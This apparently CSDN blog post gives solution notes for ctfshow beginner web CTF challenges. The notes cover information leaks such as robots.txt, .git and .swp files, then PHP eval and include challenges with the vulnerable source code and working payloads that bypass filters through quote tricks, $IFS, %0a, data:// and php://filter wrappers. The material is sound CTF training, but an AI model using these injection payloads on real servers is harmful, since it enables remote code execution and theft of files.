ctfshow中web入门题关键解题思路

一、信息搜集 

1.web1

查看页面源代码

2.web2

burdsuite抓包

3.web3

burdsuite抓包

4.web4

查看robots.txt文件

5.web5

查看index.phps文件

6.web6

一般网站开发的源代码的压缩包都是www.zip

7.web7

常用的版本控制工具为.git和.svn

8.web8

常用的版本控制工具为.git和.svn

9.web9

非正常关闭vim编辑器时(直接关闭电脑终端或者关闭电源),会生成一个.swp文件(这个文件是一个临时交换文件),用来备份缓冲区中的内容

10.web10

burdsuite抓包后无需做任何修改直接重放,查看http响应报文中的cookie字段即可拿到flag!

11.web11

题目已经将flag告诉我们!

12.web12

仔细观察网页,获得管理员登录密码后直接拿到flag!

15.web15

先观察网页,发现网页底部有一个QQ邮箱,然后访问网页登录页面,选择忘记密码,查询QQ邮箱所在地即可拿到密保答案

17.web17

访问backup.sql文件

二、命令执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1.	?c=system("cat fl``ag.php");
2.	?c=system("cat fla*.php");
3.	?c=echo `nl fl''ag.php`;

cat 可替换为 tac | more | less | curl | nl | tail | sort | strings

payload

 ?c=system("cat fl``ag.php");

web30

payload:

 ?c=echo`nl fl*`;

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:

1. ?c=eval($_GET[1]);&1=system("cat flag.php");
2. ?c=echo`nl%09fl*`;

此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的


web32-36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤空格 和 ;
用?>代替 ;

payload:

1. ?c=include$_GET[0]?>&0=data://text/plain,<?php echo(`cat flag.php`);?>
2. ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web37-38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload:

1.?c=data:text//plain,<?=system("nl fl*");?>
2.?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=php://filter/read=convert.base64-encode/resource=fl*(姿势不对)

还是用data
?>.php不影响前面已经闭合的php语句

payload:

?c=data://text/plain,<?php system("cat f*");?>

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤的是中文括号,用到以下包含英文括号的函数:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

pos():返回数组中当前元素的值

scandir():获取目录下的文件

array_reverse():将数组逆序排列

next():函数将内部指针指向下一元素,并输出

payload:
先查看目录下的文件名:

 ?c=print_r(scandir(pos(localeconv())));


接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file或show_source


web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。

payload:

?c=ls;

?c=cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26

web43-44-45-46

过滤了cat用tac,过滤了;用%0a或 ||。

过滤了flag

?c=tac fl*%0a
?c=tac fl??????%0a(?与省略的ag.php数量一致)
?c=tac fl``ag.php||

过滤空格

?c=tac%09fla*%0a

?c=tac$IFS$9fl'ag'.php||

?c=tac<fl'ag'.php||

?c=tac${IFS}fl'ag'.php||

?c=tac<>fl'ag'.php||

过滤数字

%0a是换行符,能代替分号

虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤


web47-49

payload:

?c=tac%09fl'ag'.php%0a

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值